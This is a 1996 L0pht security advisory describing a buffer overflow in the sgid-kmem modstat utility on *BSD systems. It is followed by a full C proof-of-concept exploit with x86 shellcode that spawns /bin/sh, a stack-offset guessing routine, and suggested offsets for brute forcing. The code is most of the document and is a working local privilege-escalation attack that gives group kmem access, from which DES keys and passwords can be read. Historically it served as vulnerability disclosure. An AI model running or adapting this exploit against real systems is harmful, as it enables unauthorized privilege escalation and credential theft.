118 lines
4.4 KiB
Plaintext
118 lines
4.4 KiB
Plaintext
L0pht Security Advisory
|
|
Advisory released Dec 9 1996
|
|
|
|
Application: modstat
|
|
|
|
Vulnerability Scope: systems with the *BSD
|
|
distribution of modstat sgid kmem
|
|
|
|
Severity: Users can gain group kmem permissions
|
|
and thus read DES keys, passwords, and in certain
|
|
situations panic the machine (you know, the standard
|
|
things you can do with group kmem perms).
|
|
|
|
Author: mudge@l0pht.com
|
|
|
|
Overview:
|
|
|
|
Modstat is sgid kmem which is really handy to become if you feel
|
|
like looking through /dev/mem and /dev/kmem (gee, wonder what
|
|
you might want to do that for <grin>). Like just about everything
|
|
else under the sun it has a buffer overflow problem. The problem
|
|
exists in the dostat() routine where an arbitrary sized string
|
|
is shoved into sbuf.name through a strcpy().
|
|
|
|
It is also possible to panic many systems by reading through
|
|
all memory. With memory mapped architectures you will set
|
|
various flags for having read values and touched registers -
|
|
since the system is expecting these registers to be in certain states,
|
|
tripping them to other states can cause bizarre results can occur. A
|
|
quick example is to md5 through your interface to memory and watch
|
|
the confusion that can occur in certain systems ;-) So yes, in many cases
|
|
being group kmem will let you shutdown a machine in a roundabout way...
|
|
even with just Read-Only abilities.
|
|
|
|
The difference between this and some other buffer overflow code is
|
|
that this, much like my original syslog() code has to be placed "after"
|
|
the saved stack frame since you only have under 57 bytes to deal with.
|
|
However, we don't care that we might be munging the original args and
|
|
environment vars now do we ;-). Care must still be taken to make sure the
|
|
code does not contain NULL's as strcpy will end upon it's first NULL.
|
|
|
|
mudge@l0pht.com
|
|
|
|
---
|
|
Check out http://www.l0pht.com/advisories.html for other l0pht advisories
|
|
---
|
|
|
|
/********************************************************************
|
|
* modstat buffer overflow code - mudge@l0pht.com *
|
|
* 8/11/96 *
|
|
* Done initially on FreeBSD as my BSDI box is down right now... *
|
|
* sigh. It should work on any x86 arch with the standard *BSD *
|
|
* implementation as they all use the same opcodes and operands. *
|
|
* Go grab the splitvt code if you want this to work on Linux. *
|
|
* *
|
|
* try with offsets of -48, 7, 271, 326 with the way this is curr. *
|
|
* setup. If these fail, brute force it <grin>. *
|
|
* *
|
|
* Many thanks to bitwrior for initially finding the code problem *
|
|
* in modstat and pointing it out to me - It's always nice when *
|
|
* someone hands you a bone to gnaw on without wanting *
|
|
* anything in particular out of it [this I know 'cause he has no *
|
|
* problems writing this sort of thing on his own]. *
|
|
*******************************************************************/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
long get_esp(void)
|
|
{
|
|
__asm__("movl %esp, %eax\n");
|
|
}
|
|
|
|
main(int argc, char **argv)
|
|
{
|
|
int i, j, offset;
|
|
char *bar, *foo;
|
|
unsigned long *esp_plus = NULL;
|
|
|
|
|
|
char mach_codes[] =
|
|
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
|
|
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
|
|
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
|
|
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
|
|
|
|
|
|
if (argc == 2)
|
|
offset = atoi(argv[1]);
|
|
else {
|
|
fprintf(stderr, "Usage: %s offset\n", argv[0]);
|
|
exit(1);
|
|
}
|
|
|
|
bar = malloc(4096);
|
|
if (!bar){
|
|
printf("failed to malloc memory\n");
|
|
exit(1);
|
|
}
|
|
|
|
foo = bar; /* copy of original ptr */
|
|
|
|
esp_plus = (long *)bar;
|
|
for(i=0; i < 24 ; i++)
|
|
*(esp_plus++) = (get_esp() + offset);
|
|
|
|
printf("Using offset (0x%x)\n", (get_esp() + offset));
|
|
|
|
bar = (char *)esp_plus;
|
|
|
|
for(j=0; j< strlen(mach_codes); j++)
|
|
*(bar++) = mach_codes[j];
|
|
|
|
*bar = 0;
|
|
|
|
execl("/usr/bin/modstat", "modstat", "-n", foo, NULL);
|
|
}
|